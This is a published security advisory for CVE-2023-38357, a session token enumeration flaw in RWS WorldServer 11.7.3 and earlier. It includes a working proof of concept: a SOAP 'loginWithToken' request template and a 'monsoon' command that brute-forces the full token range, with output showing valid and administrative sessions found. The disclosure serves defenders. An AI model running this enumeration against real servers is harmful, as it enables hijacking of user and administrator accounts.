Advisory: Session Token Enumeration in RWS WorldServer

Session tokens in RWS WorldServer have a low entropy and can be
enumerated, leading to unauthorised access to user sessions.

### Details

- Product: WorldServer
- Affected Versions: 11.7.3 and earlier versions
- Fixed Version: 11.8.0
- Vulnerability Type: Session Token Enumeration
- Security Risk: high
- Vendor URL: `https://www.rws.com/localization/products/additional-solutions/`
- Vendor Status: fixed version released
- Advisory URL: `https://www.redteam-pentesting.de/advisories/rt-sa-2023-001`
- Advisory Status: published
- CVE: CVE-2023-38357
- CVE URL: `https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-38357`

### Introduction

"WorldServer offers a flexible, enterprise-class translation management
system that automates translation tasks and greatly reduces the cost of
supporting large volumes of local language content."

(from the vendor's homepage)

### More Details

WorldServer associates user sessions with numerical tokens, which always
are positive values below 2^31. The SOAP action "loginWithToken" allows
for a high amount of parallel attempts to check if a token is valid.
During analysis, many assigned tokens were found to be in the 7-digit
range of values. An attacker is therefore able to enumerate user
accounts in only a few hours.

### Proof of Concept

In the following an example "loginWithToken" request is shown:

``` 
POST /ws/services/WSContext HTTP/1.1
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
Content-Length: 501
Host: www.example.com
Connection: close
User-Agent: agent

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org">
   <soapenv:Header/>
   <soapenv:Body>
      <com:loginWithToken soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <token xsi:type="xsd:string">FUZZ</token>
      </com:loginWithToken>
   </soapenv:Body>
</soapenv:Envelope>
```

It can be saved as file "login-soap.req" and be used as a request
template for the command-line HTTP enumerator monsoon  (<https://github.com/RedTeamPentesting/monsoon>) to achieve
many parallel requests:

``` 
$ monsoon fuzz --threads 100 \
--template-file login-soap.req \
--range 1-2147483647 \
--hide-pattern "InvalidSessionException" \
'https://www.example.com'

Target URL: https://www.example.com/

 status   header     body   value    extract

    500      191      560   5829099
    500      191      556   6229259
    200      191     3702   7545136
    500      191      556   9054984
[...]
processed 12000000 HTTP requests in 2h38m38s
4 of 12000000 requests shown, 1225 req/s
```

The --range parameter reflects the possible value range of 2^31 and for
each value an HTTP request is sent to the WorldServer SOAP API where the
FUZZ marker in the request template is replaced with the respective
value. Also responses are hidden which contain "InvalidSessionException"
as these sessions are invalid. Responses will yield a status code of 200
if an administrative session token is found. For an unprivileged user
session, status code 500 is returned.

### Workaround

Lower the rate at which requests can be issued, for example with a
frontend proxy.

### Fix

According to the vendor, upgrading to versions above 11.8.0 resolves the
vulnerability.

### Security Risk

Attackers can efficiently enumerate session tokens. In a penetration
test, it was possible to get access to multiple user accounts, including
administrative accounts using this method in under three hours.
Additionally, by using such an administrative account it seems likely to
be possible to execute arbitrary code on the underlying server by
customising the REST API  (<https://docs.rws.com/860026/585715/worldserver-11-7-developer-documentation/customizing-the-rest-api>). Thus, the vulnerability poses a high risk.

### Timeline

- 2023-03-27 Vulnerability identified
- 2023-03-30 Customer approved disclosure to vendor
- 2023-04-03 Requested security contact from vendor
- 2023-04-06 Vendor responded with security contact
- 2023-04-14 Advisory sent to vendor
- 2023-04-18 Vendor confirms vulnerability and states that it was already known and fixed in version 11.8.0.
- 2023-07-03 Customer confirms update to fixed version
- 2023-07-05 CVE ID requested
- 2023-07-15 CVE ID assigned
- 2023-07-19 Advisory released

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